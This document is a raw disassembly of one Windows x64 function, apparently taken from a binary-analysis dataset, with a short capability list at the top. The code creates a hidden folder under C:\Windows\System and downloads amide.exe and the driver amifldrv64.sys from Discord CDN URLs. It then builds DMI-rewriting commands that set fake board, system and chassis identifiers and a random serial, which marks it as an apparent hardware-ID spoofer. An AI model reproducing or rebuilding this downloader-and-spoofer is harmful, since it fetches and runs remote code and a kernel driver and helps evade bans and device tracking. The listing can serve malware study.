Function at 0x140039c20
Capabilities:
Create directory
Create http request
Delete file
Read data from internet
Receive data
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x1100]
mov eax, 0x1200
call fcn.1400a4670
sub rsp, rax
mov rax, qword [0x1400cf0c0]
xor rax, rsp
mov qword [rbp + 0x10f0], rax
xor r15d, r15d
mov dword [rbp - 0x70], r15d
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
lea ecx, [r15 + 0x30]
call fcn.1400a3f78
mov qword [rbp - 0x48], rax
movdqa xmm0, xmmword [reloc.WS2_32.dll_sendto]
movdqu xmmword [rbp - 0x38], xmm0
movups xmm1, xmmword [0x1400bc440]
movups xmmword [rax], xmm1
movups xmm0, xmmword [0x1400bc450]
movups xmmword [rax + 0x10], xmm0
movsd xmm0, qword [0x1400bc460]
movsd qword [rax + 0x20], xmm0
mov word [rax + 0x28], r15w
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 7
cmova rcx, qword [rbp - 0x48]
lea edx, [r15 + 2]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea edx, [r15 + 1]
lea rcx, str.Download
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rdi, rax
test rax, rax
je 0x140039f65
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.https:__cdn.discordapp.com_attachments_1189764987024056361_1213226812390248488_amide.exe_ex65f4b484is65e23f84hmd8bb519596036118f7c93f001da1adb304790021c6f9a88e0f0a95804a75cdd5
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
lea rsi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
test rax, rax
je 0x140039e33
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x20]
call sub.VCRUNTIME140.dll_memset
lea rdx, str.C:_Windows_System_xd_amide.exe
lea rcx, [rbp - 0x20]
call fcn.14003e9b0
nop
cmp qword [rbp + 0x68], r15
je 0x140039dea
lea r9, [rbp - 0x70]
mov r8d, 0x1000
lea rdx, [rbp + 0xf0]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140039dc0
mov eax, dword [rbp - 0x70]
test eax, eax
je 0x140039dc0
mov r8d, eax
lea rdx, [rbp + 0xf0]
lea rcx, [rbp - 0x20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea r9, [rbp - 0x70]
mov r8d, 0x1000
lea rdx, [rbp + 0xf0]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140039d87
lea rcx, [rbp - 0x18]
call fcn.14003f820
test rax, rax
jne 0x140039dea
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x20]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x20], rsi
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x24], edx
lea rcx, [rbp - 0x18]
call fcn.14003e940
lea rcx, [rbp - 0x10]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x88]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.https:__cdn.discordapp.com_attachments_1189764987024056361_1213237169465069628_amifldrv64.sys_ex65f4be2ais65e2492ahm1851fbe7fb374b4f1e81234b175be354727ffd3ac994ee999518ce14b6f6d8c3
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x140039f5c
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x20]
call sub.VCRUNTIME140.dll_memset
lea rdx, str.C:_Windows_System_xd_amifldrv64.sys
lea rcx, [rbp - 0x20]
call fcn.14003e9b0
nop
cmp qword [rbp + 0x68], 0
je 0x140039f13
lea r9, [rbp - 0x70]
mov r8d, 0x1000
lea rdx, [rbp + 0xf0]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140039ee9
nop dword [rax]
mov eax, dword [rbp - 0x70]
test eax, eax
je 0x140039ee9
mov r8d, eax
lea rdx, [rbp + 0xf0]
lea rcx, [rbp - 0x20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea r9, [rbp - 0x70]
mov r8d, 0x1000
lea rdx, [rbp + 0xf0]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140039eb0
lea rcx, [rbp - 0x18]
call fcn.14003f820
test rax, rax
jne 0x140039f13
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x20]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x20], rsi
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x24], edx
lea rcx, [rbp - 0x18]
call fcn.14003e940
lea rcx, [rbp - 0x10]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x88]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x58], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.C:WindowsSystemxd
lea rcx, [rbp - 0x68]
call fcn.140040490
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, 8
lea rdx, str._SU_auto
lea rcx, [rsp + 0x30]
call fcn.140040490
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.140039900
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14003a00b
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a006
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ab6b
call fcn.1400a3c4c
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str._SS__Default_string_
lea rcx, [rsp + 0x30]
call fcn.140040490
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.140039900
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14003a080
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a07b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ab6b
call fcn.1400a3c4c
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, 9
lea rdx, str._SV__1.0_
lea rcx, [rsp + 0x30]
call fcn.140040490
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.140039900
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14003a0f5
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a0f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ab6b
call fcn.1400a3c4c
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, reloc.WS2_32.dll_setsockopt
lea rdx, str._CSK__Default_string_
lea rcx, [rsp + 0x30]
call fcn.140040490
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.140039900
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14003a16a
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a165
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ab6b
call fcn.1400a3c4c
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, reloc.WS2_32.dll_setsockopt
lea rdx, str._CM___Default_string_
lea rcx, [rsp + 0x30]
call fcn.140040490
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.140039900
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14003a1df
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a1da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ab6b
call fcn.1400a3c4c
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str._SP__MS_7D22_
lea rcx, [rsp + 0x30]
call fcn.140040490
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.140039900
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14003a254
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a24f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ab6b
call fcn.1400a3c4c
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, Ordinal_45
lea rdx, str._SM__Micro_Star_International_Co.__Ltd._
lea rcx, [rsp + 0x30]
call fcn.140040490
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.140039900
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14003a2c9
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a2c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ab6b
call fcn.1400a3c4c
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str._SK__Default_string_
lea rcx, [rsp + 0x30]
call fcn.140040490
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.140039900
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14003a33e
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a339
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ab6b
call fcn.1400a3c4c
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str._SF__Default_string_
lea rcx, [rsp + 0x30]
call fcn.140040490
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.140039900
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14003a3b3
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a3ae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ab6b
call fcn.1400a3c4c
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, Ordinal_45
lea rdx, str._BM__Micro_Star_International_Co.__Ltd._
lea rcx, [rsp + 0x30]
call fcn.140040490
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.140039900
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14003a428
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a423
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ab6b
call fcn.1400a3c4c
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, reloc.WLDAP32.dll_Ordinal_27
lea rdx, str._BP__H510M_A_PRO__MS_7D22__
lea rcx, [rsp + 0x30]
call fcn.140040490
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.140039900
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14003a49d
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a498
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ab6b
call fcn.1400a3c4c
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, 9
lea rdx, str._BV__1.0_
lea rcx, [rsp + 0x30]
call fcn.140040490
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.140039900
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14003a512
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a50d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ab6b
call fcn.1400a3c4c
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str._BT__Default_string_
lea rcx, [rsp + 0x30]
call fcn.140040490
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.140039900
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14003a587
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a582
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ab6b
call fcn.1400a3c4c
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, reloc.WS2_32.dll_setsockopt
lea rdx, str._BLC__Default_string_
lea rcx, [rsp + 0x30]
call fcn.140040490
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.140039900
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14003a5fc
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a5f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ab6b
call fcn.1400a3c4c
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, Ordinal_32
lea rdx, str._PSN__To_Be_Filled_By_O.E.M._
lea rcx, [rsp + 0x30]
call fcn.140040490
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.140039900
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14003a671
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a66c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ab6b
call fcn.1400a3c4c
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, Ordinal_32
lea rdx, str._PAT__To_Be_Filled_By_O.E.M._
lea rcx, [rsp + 0x30]
call fcn.140040490
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.140039900
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14003a6e6
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a6e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ab6b
call fcn.1400a3c4c
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, Ordinal_32
lea rdx, str._PPN__To_Be_Filled_By_O.E.M._
lea rcx, [rsp + 0x30]
call fcn.140040490
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.140039900
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14003a75b
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a756
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ab6b
call fcn.1400a3c4c
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, reloc.WS2_32.dll_setsockopt
lea rdx, str._CSK__Default_string_
lea rcx, [rsp + 0x30]
call fcn.140040490
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.140039900
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14003a7d0
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a7cb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ab6b
call fcn.1400a3c4c
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str._CS__Default_string_
lea rcx, [rsp + 0x30]
call fcn.140040490
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.140039900
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14003a845
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a840
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ab6b
call fcn.1400a3c4c
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, 9
lea rdx, str._CV__1.0_
lea rcx, [rsp + 0x30]
call fcn.140040490
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.140039900
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14003a8ba
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a8b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ab6b
call fcn.1400a3c4c
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, Ordinal_45
lea rdx, str._CM__Micro_Star_International_Co.__Ltd._
lea rcx, [rsp + 0x30]
call fcn.140040490
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.140039900
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14003a92f
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a92a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ab6b
call fcn.1400a3c4c
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str._CA__Default_string_
lea rcx, [rsp + 0x30]
call fcn.140040490
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.140039900
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14003a9a4
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a99f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ab6b
call fcn.1400a3c4c
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str._CO__0000_0000h_
lea rcx, [rsp + 0x30]
call fcn.140040490
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.140039900
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14003aa19
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003aa14
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ab6b
call fcn.1400a3c4c
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, 9
lea rdx, str._CT__03h_
lea rcx, [rsp + 0x30]
call fcn.140040490
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.140039900
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14003aa8e
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003aa89
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ab6b
call fcn.1400a3c4c
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, 0xa
lea rdx, str._IV__3.80_
lea rcx, [rsp + 0x30]
call fcn.140040490
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.140039900
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14003aaff
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003aafa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ab6b
call fcn.1400a3c4c
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, reloc.WLDAP32.dll_Ordinal_46
lea rdx, str._IVN__American_Megatrends_International__LLC._
lea rcx, [rsp + 0x30]
call fcn.140040490
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.140039900
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14003ab78
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003ab72
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003ab72
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a3c4c
nop
movups xmm0, xmmword [str.ABCDEFGHIJKLMNOPQRSTUVWXYZ]
movups xmmword [rsp + 0x70], xmm0
movsd xmm0, qword [0x1400bc430]
movsd qword [rbp - 0x80], xmm0
movzx eax, word [0x1400bc438]
mov word [rbp - 0x78], ax
movzx eax, byte [0x1400bc43a]
mov byte [rbp - 0x76], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x50], 0
mov dword [rbp - 0x70], 1
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov ebx, Ordinal_26
movabs rdi, 0x4ec4ec4ec4ec4ec5
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, rdi
mul rcx
shr rdx, 3
imul rax, rdx, 0x1a
sub rcx, rax
movzx r9d, byte [rsp + rcx + 0x70]
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
cmp rcx, rdx
jae 0x14003ac3a
lea rax, [rcx + 1]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x50]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x50]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14003ac4b
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0x50]
call fcn.140040680
sub rbx, 1
jne 0x14003abe8
mov r8, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
sub rax, r8
lea r14d, [rbx + 5]
lea rsi, str._BS__
cmp rax, r14
jb 0x14003aced
lea rax, [r8 + 5]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp rcx, 0xf
cmova rbx, qword [rsp + 0x50]
lea rax, [0x1400bc911]
cmp rax, rbx
jbe 0x14003acb0
lea rax, [rbx + r8]
cmp rsi, rax
ja 0x14003acb0
cmp rbx, rsi
ja 0x14003aca8
mov rdi, r15
jmp 0x14003acb3
mov rdi, rbx
sub rdi, rsi
jmp 0x14003acb3
mov rdi, r14
lea rcx, [rbx + 5]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
sub r14, rdi
lea rdx, [rsi + 5]
add rdx, rdi
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x50]
jmp 0x14003ad0a
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
mov rdx, r14
